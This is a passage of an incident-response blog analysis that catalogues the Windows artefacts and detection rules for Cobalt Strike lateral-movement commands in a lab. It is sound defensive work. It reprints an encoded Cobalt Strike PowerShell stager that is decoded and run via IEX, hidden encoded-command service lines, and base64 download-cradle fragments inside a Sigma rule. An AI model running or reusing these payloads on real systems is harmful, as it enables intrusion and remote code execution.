13:45:07.904	[evtx/sec/4624] User ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘192.168.56.119’ (‘-‘) (logon_id=0x0000000000862fb5) with ‘-‘

The two network sessions (logon_type = 3) opened by user « CORP\alice » end a few moments later, just after the remote code execution.

Time	Description
13:46:23.310	[evtx/sec/4634] User logged off ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x0000000000862fb5) from logon type=3
13:49:28.185	[evtx/sec/4634] User logged off ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000008629e3) from logon type=3

Winevtx – PowerShell

The jump psexec_pth command generates a PowerShell event ID 4104 because the block content was considered as suspicious. Script block logging events are recorded when a user starts a new session using the PowerShell remoting feature and stores blocks of code as they are executed by the PowerShell engine. This allows capturing the full PowerShell Beacon.

N.B.: Starting from PowerShell 5.0, anything that is determined as suspicious by AMSI (Antimalware Scan Interface) will automatically log a Script block/4104 event with a level of Warning⁴.

Time	Description
13:45:09.308	[evtx/powershell/40961] A new PowerShell runspace has been created
13:45:09.834	[evtx/powershell/53504] Windows PowerShell has started an IPC listening thread on process ‘6920’ in AppDomain ‘DefaultAppDomain’
13:45:10.240	[evtx/powershell/600] The PowerShell provider ‘Alias’ hosted by application `powershell -nop -w hidden -encodedcommand <base64enc_payload>` is Started.
13:45:10.240	[evtx/powershell/600] The PowerShell provider ‘Environment’ hosted by application `powershell -nop -w hidden -encodedcommand <base64enc_payload>` is Started.
13:45:10.240	[evtx/powershell/600] The PowerShell provider ‘Registry’ hosted by application `powershell -nop -w hidden -encodedcommand <base64enc_payload>` is Started.
13:45:10.286	[evtx/powershell/600] The PowerShell provider ‘FileSystem’ hosted by application `powershell -nop -w hidden -encodedcommand <base64enc_payload>` is Started.
13:45:10.286	[evtx/powershell/600] The PowerShell provider ‘Function’ hosted by application `powershell -nop -w hidden -encodedcommand <base64enc_payload>` is Started.
13:45:10.286	[evtx/powershell/600] The PowerShell provider ‘Variable’ hosted by application `powershell -nop -w hidden -encodedcommand <base64enc_payload>` is Started.
13:45:10.348	[evtx/powershell/400] The PowerShell engine state hosted by application `powershell -nop -w hidden -encodedcommand <base64enc_payload>` is changed from ‘None’ to ‘Available’.
13:45:10.387	[evtx/powershell/40962] A PowerShell runspace have been closed
13:45:10.681	[evtx/powershell/4104] The remote PowerShell scriptblock named ‘`7998c69a-4170-4f37-afb8-ef7ce9a2533c`‘ is executed (1 block)
13:45:11.213	[evtx/powershell/4104] The remote PowerShell scriptblock named ‘`23fe9a7e-31ee-473b-bcb0-8bd7c9b9ca38`‘ is executed (1 block)
13:45:11.246	[evtx/powershell/4104] The remote PowerShell scriptblock named ‘¨C323C’ is executed (1 block)

The last two PowerShell scriptblocks are similar to the one seen for the jump winrm64 command with the two functions, func_get_proc_address and func_get_delegate_type, which are used to dynamically load and execute unmanaged code with a specific signature in a managed environment.

The first PowerShell scriptblock decodes and decompresses a base64-encoded and gzip-compressed payload, reads the resulting data as a string, and then executes it as a PowerShell command using the IEX cmdlet. This code is the one that appears as an argument to the PowerShell command powershell -nop -w hidden -encodedcommand <base64enc_payload> (running in a hidden window with « NoProfile »).

$s=New-Object IO.MemoryStream( [Convert]::FromBase64String("H4sIAAAAAAAA/61W73PaOBP+HP4KfciM7SlQEnJp6E1nym/MC4TEJKHlGEbIMjERFkiywVz7v78rG3P0mrxvZ+4yw0SWdle7zz67K4eqgqOET1SfuxQVHqmQPg/QZS533uC2Qp/QZyPnhQFRelsvZguqZmvByQy7rqBSoj9zZ0Ms8AqZ5xEWsxV3Q0bzKPnQgtQNBbXOznJnyVYYSOzRWYCVH9HZiqpn7kq4yJxU1+sGX2E/mH78WA+FoIFKv4ttqqpS0tWc+VSaFvqGnp6poIXb+ZIShf5E57Nim/E5ZgexuI7JMwRUDVx91uME6wiKzpr5yjT++MOwJoWLabG5CTGTpuHEUtFV0WXMsNB3S184itfUNPo+EVxyTxWf/KB8WXxIvB8kzvdT3w3rENlijSGOt4PUVlMd04DlELCpphgaeTTR902mU/T56M19GCh/RYt2oKjga4eKyCdUFjs4cBm9px6oGRLSFywMC5wQVIUiQJkvoBfxF2qeByFjebA7+VW7U3NAtxm4v6pkniqB1FAJK3/gxK/A0U94k5qDcH7y/oRcFvz9RDAr9z33ClVdyugCKzpTgO8JV3NnZ5NkSSEec8iln+h9QqU86oMTWHER63SOREit6V/5Sa/NNGX+TUMXmdZBJ01P6scnNHnkvjvNnVm5A3v0/mwe+sylQp+/XQ0N6vkBbcQBXvkkI7z5Ws6ox2iCRzETG4CfpnE4oG7jgI6hAZ38rNZc+eqoW0udqxLIuwSvgBLWj86kOTQNO+jTFeCXfgNNzz0oM5pJH0orzm7X35rLdYalzKNhCHVO8sihmFE3j6qB9A9H1VDxZGn85W4/ZMonWKrM3NR6BdLD1XUeQMWEBLILMIycNSU+ZhqVPOr4Lq3Fjr/IXDBexaSOGYOSA0sR5AR2NBaO0pwRbv7v/LCKDlX2as3oCqSTLtRieAE951BRCd3wgrrG/3A7q5O0KDRWGUgnTgMBHMZVHj36QkFfM/I/Ee+fufdji/nBzbqgh0SaSSFOarHS5ZJIEj1cPh2xTJATClBrCb6qYUmvr5ykjZlG+Sbc2HF/eXct2s2o1dl0miP4RfArb1rNXq97v67d90gzvB12Sl3PvrtpXIXb0A5HtVK5VQK5/abd9Ozoln+5CFdXF+7ajgawJz9sOrJhR41q53LDW9cLv3Kwk+rfzbcX87Hd+jBvt646j7Kl5Tt2VGtt6hUO6/d2VOdd0Lu5Xge1rXtFm91rOu6RbVndULzYxf95fNcMB90vJbnsQwxOZU+69UHXLqkPz+VGuzz8uo+5XNrx4LdmuI7Ji1y+xGTpxLejbgxyLy/McWo75/Lr6P3QI5Xglg+2btcut3r10o5u3f3lOhyMRw8vS8cB+WvR4rcPwUa2F1dOyMdbEsH+heO4OxcCi8bxl/IQc3dL9sl+3G/A3adngA8pb9o3HYgrqMU9sfEJYE46/bj3HA+dxKbbjJaX3gcP/C85754u1p0OqWxA/vo5qsUSXzHy4lRunxbjMamoXae2H/bIYE/Kncr7xrgyctig7V3UxnfMfXrobOd3zqDSeAz3mlEeFzAjdrrv/o7gf4EpdOQMMAVIqPffvbN07z6eTM5302zWHr8L8x1YK/+m+ZecRPiEdW8NsD4W8hkzYCMMoayFtLhoHUbJkPtawzRff/28UBFQBi8DeDtkhVdljBM9/N6YQjCK0wE5hQbzAMvy5asrCx0FYeKlMc1Dz0sGxCHCbE5mgh8/foXw8icg9miwUM95VNqVS6WS/n9VsnK/Dkudr2PzaC6vB+SJJ6c3seQm64C+CIMV/RcT8MOl/x9aDV4yY4/QJQ69jpeVMz7ncraHTvalv4cXJN2gm4R7UmGhCks+h+dm0j/Nc2whuzlG5xh9RwUIryrLl/DmFItQN1OUPqG/oS32U8Vv6J4SCk+gQpfPgaUUZqI2nRjRwrD3X1pq1riTCwAA"));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s [IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

Once decoded and decompressed, the payload gives us the PowerShell script that will be executed. The code checks if the operating system is running on a 64-bit architecture and executes a PowerShell script block using a 32-bit PowerShell process if necessary, otherwise it executes the script block in the current process. The payload stored in $DoIt is similar to the one seen for the other ones with the two functions, func_get_proc_address and func_get_delegate_type, used to dynamically load and execute unmanaged code with a specific signature in a managed environment.

<pre><code><span class="nb">Set-StrictMode</span> <span class="n">-Version</span> <span class="n">2</span>

<span class="nv">$DoIt</span> <span class="p">=</span> <span class="sh">@'</span>
<span class="sh">... PowerShell script ... </span>
<span class="sh">'@</span>

<span class="k">If</span> <span class="p">(</span><span class="no">[IntPtr]</span><span class="p">::</span><span class="n">size</span> <span class="o">-eq</span> <span class="n">8</span><span class="p">)</span> <span class="p">{</span>
    <span class="nb">start-job</span> <span class="p">{</span> <span class="k">param</span><span class="p">(</span><span class="nv">$a</span><span class="p">)</span> <span class="nb">IEX </span><span class="nv">$a</span> <span class="p">}</span> <span class="n">-RunAs32</span> <span class="n">-Argument</span> <span class="nv">$DoIt</span> <span class="p">|</span> <span class="nb">wait-job</span> <span class="p">|</span> <span class="nb">Receive-Job</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
    <span class="nb">IEX </span><span class="nv">$DoIt</span>
<span class="p">}</span>
</code></pre>

Winevtx – Service Control Manager

The beacon runs as a service, so the PowerShell activity seen above is also recorded by the Service Control Manager (SCM) with the installation of a randomly-named¹ service (event ID 7045). Although the randomness of the service name makes writing a detection rule complicated, the mentions of %COMSPEC% and powershell -nop -w hidden -encodedcommand in the program run by the service makes it easier to spot.

Time	Description
13:45:07.755	[evtx/sys/scm/7045] Service ‘4b3d5bc’ (`%COMSPEC% /b /c start /b /min powershell -nop -w hidden -encodedcommand <base64enc_payload>`) was installed by user ‘LocalSystem’ (type: user mode service, start: demand start)

Prefecth – Program execution

Since both of the Command Shell and PowerShell consoles are used, two Prefetch files are generated or edited, one for the cmd.exe process and the other for the PowerShell.exe process. In some cases, other Prefetch files may be modified or created depending on the command run by the Cobalt Strike beacon, such as conhost.exe here.

Time	Description
13:45:07.771	[prefetch] Prefetch [CMD.EXE] was executed – run count 2 path hints: `\WINDOWS\SYSWOW64\CMD.EXE` hash: 0xAC113AA8 volume: 1 [serial number: 0x228095FD device path: `\VOLUME{01d80e8a80662822-228095fd}`]
13:45:07.803	[prefetch] Prefetch [POWERSHELL.EXE] was executed – run count 5 path hints: `\WINDOWS\SYSWOW64\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE` hash: 0x767FB1AE volume: 1 [serial number: 0x228095FD device path: `\VOLUME{01d80e8a80662822-228095fd}`]
13:45:07.898	[prefetch] Prefetch [CONHOST.EXE] was executed – run count 29 path hints: \WINDOWS\SYSTEM32\CONHOST.EXE hash: 0x1F3E9D7E volume: 1 [serial number: 0x228095FD device path: \VOLUME{01d80e8a80662822-228095fd}]

It is important to mention that the presence of the cmd.exe and powershell.exe processes alone is not necessarily an indication of malicious activity.

File System – MFT

No additional information is provided by the MFT, but it confirms the use of the Command Shell and the PowerShell consoles, by modifying not only the Prefetch files, but also the executables.

Time	Description
13:45:07.755	[fs/mft][.a..] File `\Windows\SysWOW64\cmd.exe` ($STANDARD_INFORMATION), MFT:53610-1
13:45:07.833	[fs/mft][macb] File `\Windows\Prefetch\CMD.EXE-AC113AA8.pf` ($FILE_NAME), MFT:110491-2, PARENT: 93711-2
13:45:07.833	[fs/mft][…b] File `\Windows\Prefetch\CMD.EXE-AC113AA8.pf` ($STANDARD_INFORMATION), MFT:110491-2
13:45:08.192	[fs/mft][..c.] File `\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe` ($STANDARD_INFORMATION), MFT:56216-1

File System – USN journal

The USN artefacts provide the same information as the Sysmon Event ID 11 (file created). Prefetch files for cmd.exe and powershell.exe are created and a PowerShell test script is generated.

Time	Description
13:45:07.833	[fs/usnjrnl] File `\Windows\Prefetch\CMD.EXE-AC113AA8.pf` USN_REASON_FILE_CREATE
13:45:07.833	[fs/usnjrnl] File `\Windows\Prefetch\CMD.EXE-AC113AA8.pf` USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE
13:45:07.833	[fs/usnjrnl] File `\Windows\Prefetch\CMD.EXE-AC113AA8.pf` USN_REASON_CLOSE USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE
13:45:09.508	[fs/usnjrnl] File `\Windows\Temp\__PSScriptPolicyTest_2nmpla2r.cyj.ps1` USN_REASON_FILE_CREATE
13:45:09.520	[fs/usnjrnl] File `\Windows\Temp\__PSScriptPolicyTest_0tg0e3gp.i3q.psm1` USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE
13:45:09.520	[fs/usnjrnl] File `\Windows\Temp\__PSScriptPolicyTest_0tg0e3gp.i3q.psm1` USN_REASON_CLOSE USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE
13:45:09.520	[fs/usnjrnl] File `\Windows\Temp\__PSScriptPolicyTest_0tg0e3gp.i3q.psm1` USN_REASON_FILE_CREATE
13:45:09.520	[fs/usnjrnl] File `\Windows\Temp\__PSScriptPolicyTest_2nmpla2r.cyj.ps1` USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE
13:45:09.520	[fs/usnjrnl] File `\Windows\Temp\__PSScriptPolicyTest_2nmpla2r.cyj.ps1` USN_REASON_CLOSE USN_REASON_DATA_EXTEND USN_REASON_FILE_CREATE
13:45:17.990	[fs/usnjrnl] File ¨C361C USN_REASON_DATA_EXTEND USN_REASON_DATA_TRUNCATION
13:45:17.990	[fs/usnjrnl] File ¨C362C USN_REASON_DATA_TRUNCATION
13:45:17.990	[fs/usnjrnl] File ¨C363C USN_REASON_CLOSE USN_REASON_DATA_EXTEND USN_REASON_DATA_TRUNCATION

Conclusion

The default Cobalt Strike jump command with psexec_psh is fairly easy to detect because it creates a service with a random name² with an embedded PowerShell command, so many PowerShell logs are generated to capture the full PowerShell staging payload. Unlike the jump psexec64 command, which also uses a service, the payload of the jump psexec_pth command is not dropped on the system but encoded in a PowerShell command.

Detection Rule Example

Kibana

The various KQL queries correspond to each aspect of the conclusion stated above and can of course be grouped together. Note that all these events occur in a short period of time.

parser : "winevtx" and source_name : "Service Control Manager" and  eid : 7045 and message : *%COMSPEC%*powershell*hidden*-encodedcommand*
parser : "winevtx" and source_name : "PowerShell" and eid : ( 400 or 600 ) and message : *HostApplication=powershell*hidden*-encodedcommand*
parser : "winevtx" and source_name : "Microsoft-Windows-PowerShell" and eid : 4104
parser : "winevtx" and source_name : "Microsoft-Windows-Security-Auditing" and eid : (4624 or 4672 or 4634)
parser : "usnjrnl" and message : ( CMD.EXE* or POWERSHELL.EXE* or *__PSScriptPolicyTest_* )
parser : ( "prefetch" or "mft" ) and message : ( *CMD.EXE* or *POWERSHELL.EXE* )

Splunk

Many rules can be created to detect this command.

Search for the cmd.exe and powershell.exe Prefetch files;
Search for a logon connection followed by a service installation (like the remote-exec psexec rule created in part 1);
A mix of rules 1 and 2, etc.

host="*" index="*" parser=winevtx eid=7045 service_path="*%COMSPEC%*"
| table _time host message
| sort _time

Sigma

A Sigma rule already exists for this event sigma/win_cobaltstrike_service_installs.yml at master · SigmaHQ/sigma.

sigma-cli &gt;&gt;&gt; sigma convert -t splunk -p sysmon ../sigma/rules/windows/builtin/system/win_cobaltstrike_service_installs.yml
Parsing Sigma rules  [####################################]  100%
Provider_Name="Service Control Manager" EventID=7045 (ImagePath="*ADMIN$*" ImagePath="*.exe*" OR ImagePath="*%COMSPEC%*" ImagePath="*start*" ImagePath="*powershell*" OR ImagePath="*powershell -nop -w hidden -encodedcommand*" OR ImagePath="*SUVYIChOZXctT2JqZWN0IE5ldC5XZWJjbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vMTI3LjAuMC4xO*" OR ImagePath="*lFWCAoTmV3LU9iamVjdCBOZXQuV2ViY2xpZW50KS5Eb3dubG9hZFN0cmluZygnaHR0cDovLzEyNy4wLjAuMT*" OR ImagePath="*JRVggKE5ldy1PYmplY3QgTmV0LldlYmNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly8xMjcuMC4wLjE6*")

Part 2 – Conclusion

The three built-in jump commands tested are fairly easy to detect in a default Windows 10 workstation without any particular audit policies enabled.

The psexec64 and psexec_psh built-in commands are the easiest to detect because they are both executed as a service (with a random name²). For the psexec64 command, the ImagePath service pointed to a binary on the C:\Windows directory (previously copied), and for the psexec_psh command, it pointed to a PowerShell one-liner payload (base64-encoded and gzip-compressed).

The winrm64 built-in command is a little bit harder to detect because it does not use services, but should be fairly easy to detect because the PowerShell event ID 4104 is generated by AMSI and the full PowerShell payload is captured. In addition, a WinRM event (event id 91) is generated to warn that a connection is received.

To detect lateral movements even more efficiently, we advise installing Sysmon with a custom configuration and/or activating the relevant audit policies.

Cobalt Strike Investigation Part 1

Introduction
Approach
Findings Summary
Cobalt Strike remote-exec winrm
- 4.1. Sysmon Events
- 4.2. Findings
- 4.3. Conclusion
- 4.4. Detection Rule Example
Cobalt Strike remote-exec wmi
- 5.1. Sysmon Events
- 5.2. Findings
- 5.3. Conclusion
- 5.4. Detection Rule Example
Cobalt Strike remote-exec psexec
- 6.1. Sysmon Events
- 6.2. Findings
- 6.3. Conclusion
- 6.4. Detection Rule Example
Part 1 – Conclusion

Introduction

Although it was not originally designed for this use, Cobalt Strike has become one of the most frequently used tools for lateral movements and it is not uncommon to observe traces of its use during digital forensic.

This article aims to analyze the different Cobalt Strike commands to find evidence that the tools could drop behind him. Several blogs have already explained how to detect Cobalt Strike, but for this analysis we choose to let the Windows log levels by default without activating special « Windows Audit Policies » and we used post-compromising tools to extract artifacts.

In this first part, we will focus on the Cobalt Strike built-in remote-exec command and its different methods of remote code execution:

A second blogpost will focus on the persistent Cobalt Strike session using Beacon and the built-in jump commands with different methods such as « psexec64 », « winrm64 » or « psexec_psh ».

Approach

The aim here is to provide basic information on what kinds of logs and other artefacts could be generated from Cobalt Strike on a default Windows 10 host. To get a better context and understanding, we enabled Sysmon on the victim Workstation, so that we get a based line to compare with.

The tests have been done with Cobalt Strike version 4.4 with the default configuration without any kind of customization. It’is important to note that Cobalt Strike allow users to change various settings (pipes names, service name, default temporary process, etc.) to customize its footprint. Depending on Cobalt Strike settings used by the attackers, the events generated may be slightly different and detection rule may fail.

Each command has been executed twice to avoid false positive. This short analysis can be later on used as a reference to build rules to detect Cobalt Strike movements during a forensics incident response (without Sysmon or Audit Policies).

The Lab is composed of the following elements:

Windows 10 workstations with Sysmon installed;
Windows Server 2016 Domain Controller.

The different steps and tools used to extract and analyze the artifacts post compromise are:

Run DFIR_ORC to extract artifacts on the Windows 10 machine
Run log2timeline/plaso combined with Logstash on the extracted data to build a clear timeline
Analyze data using Splunk

By using DFIR_Orc and Plaso, we were able to process the most important artifacts:

Event log (*.evtx), including PowerShell command history;
Prefetch files;
USNjrnl;
MFT;
User and System hives (userassist, appcompatcache, etc.).

Findings Summary

A summary of the most important findings (excluding Sysmon events) is available on the timeline below:

Cobalt Strike Commands	Description
remote-exec winrm	[prefetch] Prefetch [WSMPROVHOST.EXE] was executed – run count 2 path hints: `\WINDOWS\SYSTEM32\WSMPROVHOST.EXE` hash: `0xEF06207C` volume: 1 [serial number: `0x228095FD` device path: `\VOLUME{01d80e8a80662822-228095fd}`]
remote-exec winrm	[evtx/winrm/91] Creating WSMan shell on server with ResourceURI: ‘http://schemas.microsoft.com/powershell/Microsoft.PowerShell‘
remote-exec winrm	[evtx/sec/4624] user ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘-‘ (‘-‘) (logon_id=0x0000000000483901) with ‘-‘
remote-exec winrm	[evtx/powershell/400] the PowerShell engine state hosted by application `C:\Windows\system32\wsmprovhost.exe -Embedding` with command line ‘-‘ is changed from ‘None’ to ‘Available’.
remote-exec winrm	[evtx/powershell/403] the PowerShell engine state hosted by application `C:\Windows\system32\wsmprovhost.exe -Embedding` with command line ‘-‘ is changed from ‘Available’ to ‘Stopped’.
remote-exec winrm	[evtx/powershell/600] the PowerShell provider ‘Alias’ hosted by application `C:\Windows\system32\wsmprovhost.exe -Embedding` with command line ‘-‘ is Started.
remote-exec winrm	[evtx/powershell/600] the PowerShell provider ‘Environment’ hosted by application `C:\Windows\system32\wsmprovhost.exe -Embedding` with command line ‘-‘ is Started.
remote-exec winrm	[evtx/powershell/600] the PowerShell provider ‘FileSystem’ hosted by application `C:\Windows\system32\wsmprovhost.exe -Embedding` with command line ‘-‘ is Started.
remote-exec winrm	[evtx/powershell/600] the PowerShell provider ‘Function’ hosted by application ¨C12C with command line ‘-‘ is Started.
remote-exec winrm	[evtx/powershell/600] the PowerShell provider ‘Registry’ hosted by application ¨C13C with command line ‘-‘ is Started.
remote-exec winrm	[evtx/powershell/600] the PowerShell provider ‘Variable’ hosted by application ¨C14C with command line ‘-‘ is Started.
….
remote-exec wmi	[evtx/sec/4624] user ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘192.168.56.119’ (‘-‘) (logon_id=0x00000000004d811f) with ‘-‘
remote-exec wmi	[evtx/dcom/10016] the application-specific permission settings do not grant Local Activation permission for the COM Server application with CLSID {3480A401-BDE9-4407-BC02-798A866AC051} and APPID {30AD8C8E-AE85-42FA-B9E8-7E99E3DFBFC5} to the user ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) from address LocalHost (Using LRPC) running in the application container Unavailable SID Unavailable
remote-exec wmi	[prefetch] Prefetch [OPENWITH.EXE] was executed – run count 3 path hints: ¨C15C hash: ¨C16C volume: 1 [serial number: ¨C17C device path: ¨C18C]
….
remote-exec psexec	[evtx/sec/4624] user ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘192.168.56.119’ (‘-‘) (logon_id=0x00000000005eda88) with ‘-‘
remote-exec psexec	[evtx/sys/scm/7045] service ‘d8041e9’ (notepad.exe) was installed by user ‘LocalSystem’ (type: user mode service, start: demand start)

Cobalt Strike remote-exec winrm

The Cobalt Strike remote-exec winrm command allows the user to execute a command using WinRM on the remote host without creating a persistent session with a Beacon. For this example, the executed command is ipconfig.

Sysmon Events

As explained earlier, System Monitor (Sysmon) was installed on the Windows 10 workstation to have reference events on which to base our analyses. We therefore first reviewed the events recorded by Sysmon to get a based line to compare with extracted artifacts. The Sysmon events below has been filtered to the most useful.

Event ID 1 – Process Creation

The process creation event provides extended information about a newly created process. The full command line provides context on the process execution. The ProcessGUID field is a unique value for this process across a domain to make event correlation easier.

The process chain created by the remote-exec winrm commands on the victim workstation is svchost.exe -> wsmprovhost.exe -> ipconfig.exe.

Time	Description
14:24:01.884	[evtx/sysmon/1] process created with command `C:\Windows\system32\wsmprovhost.exe -Embedding` (id 9040) by user ‘CORP\alice’ via `C:\Windows\System32\svchost.exe` (id 728)
14:24:05.631	[evtx/sysmon/1] process created with command `"C:\Windows\system32\ipconfig.exe"` (id 9384) by user ‘CORP\alice’ via `C:\Windows\System32\wsmprovhost.exe` (id 9040)
14:24:05.653	[evtx/sysmon/1] process created with command `\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1` (id 8268) by user ‘CORP\alice’ via `C:\Windows\System32\ipconfig.exe` (id 9384)

Event ID 3 – Network Connection Detected

The network connection event logs TCP/UDP connections on the machine. Each connection is linked to a process through the ProcessId and ProcessGUID fields. The event also contains the source and destination host names IP addresses, port numbers and IPv6 status.

The execution of the remote-exec winrm commands leads to the creation of 3 network connections made to the victim workstation on the port 5985. The ports 5985 (HTTP) and 5986 (HTTPS) are the default TCP ports used by WinRM:

Time	Description
14:24:04.015	[evtx/sysmon/3] tcp network connection from host ‘-‘ (192.168.56.119:54074) to host ‘-‘ (192.168.56.117:5985) (pid=4)
14:24:05.430	[evtx/sysmon/3] tcp network connection from host ‘-‘ (192.168.56.119:54075) to host ‘-‘ (192.168.56.117:5985) (pid=4)
14:24:06.461	[evtx/sysmon/3] tcp network connection from host ‘-‘ (192.168.56.119:54076) to host ‘-‘ (192.168.56.117:5985) (pid=4)

Event ID 7 – Image Loaded

The image loaded event logs when a module is loaded in a specific process. It indicates the process in which the module is loaded, hashes and signature information.

Without Sysmon installed on the victim workstation, it is hard to get the same information from other artifacts. Nevertheless, and this will be discussed later in the article, MFT provides similar evidence and this is why we have chosen to include these events.

Time	Description
14:24:01.896	[evtx/sysmon/7] image `C:\Windows\System32\wsmprovhost.exe` loaded from process `C:\Windows\System32\wsmprovhost.exe` (pid=9040) with user ‘CORP\alice’
14:24:01.976	[evtx/sysmon/7] image `C:\Windows\System32\WsmSvc.dll` loaded from process `C:\Windows\System32\wsmprovhost.exe` (pid=9040) with user ‘CORP\alice’
14:24:02.023	[evtx/sysmon/7] image `C:\Windows\System32\wsmplpxy.dll` loaded from process `C:\Windows\System32\wsmprovhost.exe` (pid=9040) with user ‘CORP\alice’
14:24:04.425	[evtx/sysmon/7] image `C:\Windows\System32\WindowsPowerShell\v1.0\pwrshsip.dll` loaded from process `C:\Windows\System32\wsmprovhost.exe` (pid=9040) with user ‘CORP\alice’
…	…

Event ID 11 – File created

File create operations are logged when a file is created or overwritten. This event is useful for monitoring autostart locations, like the Startup folder, as well as temporary and download directories, which are common places malware drops during initial infection.

On the disk, two PowerShell scripts, generated by Microsoft, are created (__PSScriptPolicyTest_<random_number>.ps1) to test against AppLocker. If the test file executes, then it assumed that AppLocker is disabled. Two Prefetch files for ipconfig, and wsmprovhost.exe binaries are also created, as well as a log file.

Time	Description
14:24:03.978	[evtx/sysmon/11] process `C:\Windows\system32\wsmprovhost.exe` (pid=9040) created file `C:\Users\alice\AppData\Local\Temp\__PSScriptPolicyTest_3yycbqb2.1vu.psm1` with user ‘CORP\alice’
14:24:03.978	[evtx/sysmon/11] process `C:\Windows\system32\wsmprovhost.exe` (pid=9040) created file `C:\Users\alice\AppData\Local\Temp\__PSScriptPolicyTest_jcfqwafa.032.ps1` with user ‘CORP\alice’
14:24:05.722	[evtx/sysmon/11] process `C:\Windows\system32\svchost.exe` (pid=1860) created file `C:\Windows\Prefetch\IPCONFIG.EXE-912F3D5B.pf` with user ‘NT AUTHORITY\SYSTEM’
14:24:05.724	[evtx/sysmon/11] process `C:\Windows\system32\svchost.exe` (pid=1860) created file `C:\Windows\Prefetch\CONHOST.EXE-1F3E9D7E.pf` with user ‘NT AUTHORITY\SYSTEM’
14:24:06.872	[evtx/sysmon/11] process `C:\Windows\system32\wsmprovhost.exe` (pid=9040) created file ¨C50C with user ‘CORP\alice’
14:24:06.947	[evtx/sysmon/11] process ¨C51C (pid=1860) created file ¨C52C with user ‘NT AUTHORITY\SYSTEM’

Findings

Now that we have seen the events and other artifacts generated by the execution of the remote-exec winrm commands, let’s dwell on the evidence present natively on a Windows 10 system out of the box.

Winevtx – Microsoft-Windows-Security-Auditing

Without the audit policies enabled, there are not much events generated. However, in both tests, Windows recorded 5 successful logons (event ID 4624) with the logon type ‘3’ (Network) from the compromised account « CORP.LOCAL\alice ». If correlated, this behavior may help during the investigation to support a hypothesis.

Time	Description
14:24:01.836	[evtx/sec/4672] special privileges assigned to ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x0000000000483901): SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege
14:24:01.836	[evtx/sec/4624] user ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘-‘ (‘-‘) (logon_id=0x0000000000483901) with ‘-‘
14:24:03.395	[evtx/sec/4672] special privileges assigned to ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x0000000000485580): SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege
14:24:03.395	[evtx/sec/4624] user ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘-‘ (‘-‘) (logon_id=0x0000000000485580) with ‘-‘
14:24:05.436	[evtx/sec/4672] special privileges assigned to ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x0000000000487c94): SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege
14:24:05.436	[evtx/sec/4624] user ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘-‘ (‘-‘) (logon_id=0x0000000000487c94) with ‘-‘
14:24:06.843	[evtx/sec/4634] user logged off ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x0000000000487c94) from logon type=3
14:24:06.844	[evtx/sec/4672] special privileges assigned to ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000004891b0): SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege
14:24:06.844	[evtx/sec/4624] user ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘-‘ (‘-‘) (logon_id=0x00000000004891b0) with ‘-‘
14:24:06.868	[evtx/sec/4634] user logged off ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x0000000000485580) from logon type=3
14:24:06.869	[evtx/sec/4672] special privileges assigned to ‘CORP\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) (logon_id=0x00000000004891fe): SeSecurityPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeDebugPrivilege SeSystemEnvironmentPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege SeDelegateSessionUserImpersonatePrivilege
14:24:06.869	[evtx/sec/4624] user ‘CORP.LOCAL\alice’ (S-1-5-21-1155457554-2149841727-2293290625-1108) successfully logon (type=3) from ‘-‘ (‘-‘) (logon_id=0x00000000004891fe) with ‘-‘
